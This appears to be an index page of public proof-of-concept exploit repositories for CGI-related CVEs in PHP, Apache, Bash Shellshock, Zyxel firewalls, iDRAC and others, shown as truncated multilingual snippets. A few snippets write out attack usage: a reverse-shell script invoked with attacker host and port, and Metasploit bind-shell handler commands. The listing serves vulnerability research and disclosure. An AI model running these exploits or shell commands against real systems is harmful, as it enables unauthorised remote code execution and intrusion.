CVE-2024-46658

CVE-2024-46658 Syrotech SY-GOPON-8OLT-L3 v1.6.0240629 Vulnérabilité d'injection de commande Utilisation 1- Modifiez l'URL dans le script. 2- Modifiez la valeur CookieLogin dans le script. 3- Exécutez le script, il vous permettra d'exécuter des commandes. Détails de la vulnérabilité GET...

CVE-2024-4577-PHP-RCE

PHP RCE PoC CVE-2024-4577: Внедрение аргументов в PHP-CGI Обзор Этот репозиторий содержит скрипты для проверки уязвимости CVE-2024-4577 — проблемы внедрения аргументов в PHP-CGI. Вы можете использовать предоставленные скрипты на Bash, Go и Python для тестирования списка доменов на эту уязвимость....

Telesquare TLR-2855KS6 - Arbitrary File Creation

An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts. id: CVE-2021-46418 info: name: Telesquare TLR-2855KS6 - Arbitrary File Creation author: DhiyaneshDK severity: high description: | An unauthorized file creation vulnerability in...

Emerson Dixell XWEB-500 - Arbitrary File Write

Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logoextraupload.cgi, /cgi-bin/calsave.cgi, and /cgi-bin/loutils.cgi, letting attackers write any file on the system, exploit requires no authentication. id: CVE-2021-45420 info: name: Emerson...

CVE-2021-41773h

CVE-2021-41773 Vulnérabilité de traversée de chemin et de divulgation de fichiers dans Apache HTTP Server 2.4.49 CVE-2021-41773 Informations Un défaut a été trouvé dans une modification apportée à la normalisation des chemins dans Apache HTTP Server 2.4.49. Un attaquant pourrait utiliser une...

CVE-2024-4577

CVE-2024-4577 Эксплойт для php-cgi...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 avec CGI Utilisation : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT Plus d'informations : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 999...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 Description Dans les versions de PHP 8.1. antérieures à 8.1.29, 8.2. antérieures à 8.2.20, 8.3. antérieures à 8.3.8, lors de l'utilisation d'Apache et PHP-CGI sur Windows, si le système est configuré pour utiliser certains codes pages, Windows peut utiliser l...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian Vue d'ensemble Ce dépôt est un environnement PoC de CVE-2014-6271. Vous pouvez déployer un service web vulnérable à l'aide de l'image conteneur apache2. Préparation Construction de l'image Construisez l'image non sécurisée à partir du Dockerfile. docker build -t...

CVE-2024-4577

CVE-2024-4577 PoC corrigé et minimaliste de la CVE-2024-4577 J'ai testé quelques PoC pour cette vulnérabilité, et certains ne fonctionnaient pas correctement, j'ai donc corrigé cela en créant mon propre PoC non intrusif et minimaliste pour vérifier si vous êtes vulnérable. Comment utiliser :...

CVE-2024-4577

CVE-2024-4577 Avertissement Cet outil est destiné uniquement à la recherche et à l'apprentissage personnels en matière de sécurité. Toute conséquence ou perte, directe ou indirecte, résultant de la diffusion ou de l'utilisation de cet outil est de la responsabilité de l'utilisateur lui-même...

CVE-2022-30525

CVE-2022-30525 Une vulnérabilité d'injection de commandes OS dans le programme CGI de Zyxel Résumé exécutif La vulnérabilité, découverte pour la première fois le 13 avril 2022, a provoqué une exécution de code à distance dans les produits de pare-feu Zyxel. Cette vulnérabilité importante, avec un...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC инструмент ======= BadBash — это инструмент эксплуатации RCE для CVE-2014-6271. Базовая версия проверяет только HTTP CGI-сайты и предоставляет обратный шелл через netcat на порту 1234. Разработчик : Andy Yang Версия : 0.1.0 Лицензия : GPLv3 Оригинальный...

CVE-2022-30525_Exploit

CVE-2022-30525 Удаленное выполнение команд на межсетевых экранах Zyxel Эксплойт на Python для CVE-2022-30525 Сводка уязвимости NIST Уязвимость внедрения команд ОС в программе CGI межсетевых экранов Zyxel USG FLEX 100W с версиями прошивки от 5.00 до 5.21 Patch 1 включительно, USG FLEX 200 с версия...

cve-2018-1207

cve-2018-1207 Exploit pour iDRAC 7 & 8 firmware 2.52.52.52 Description Les versions Dell EMC iDRAC7/iDRAC8 antérieures à 2.52.52.52 contiennent une vulnérabilité d'injection CGI qui pourrait être utilisée pour exécuter du code à distance. Un attaquant distant non authentifié pourrait...

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Exécution de code à distance dans Apache HTTP Server 2.4.49 ⚠️ Avertissement Ce dépôt est destiné strictement à des fins éducatives et de recherche. Les informations et le code fournis ici peuvent être utilisés dans des environnements contrôlés , comme des machines de laboratoire...

shocker

Shocker A tool to find and exploit servers vulnerable to Shellshock Ref: https://en.wikipedia.org/wiki/Shellshocksoftwarebug Released as open source by NCC Group Plc - https://www.nccgroup.trust/ Developed By: Tom Watson, tom dot watson at nccgroup dot trust https://github.com/nccgroup/shocker...

shocker

Shocker ====================== أداة للعثور على الخوادم المعرضة لثغرة Shellshock واستغلالها المرجع: https://en.wikipedia.org/wiki/Shellshocksoftwarebug صدر كمصدر مفتوح بواسطة NCC Group Plc - https://www.nccgroup.trust/ طور بواسطة: Tom Watson, tom dot watson at nccgroup dot trust...

goahead-rce-exploit

GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337 Ensuite, dans un autre...

Shellshock_vuln_Exploit

🚨 Exploit RCE Shellshock CVE-2014-6271 Il s'agit d'un exploit Python pour la vulnérabilité Shellshock CVE-2014-6271, qui affecte GNU Bash. L'exploit cible les scripts CGI sur les serveurs web vulnérables et établit un reverse shell vers la machine de l'attaquant. ID CVE CVE-2014-6271 Avertissemen...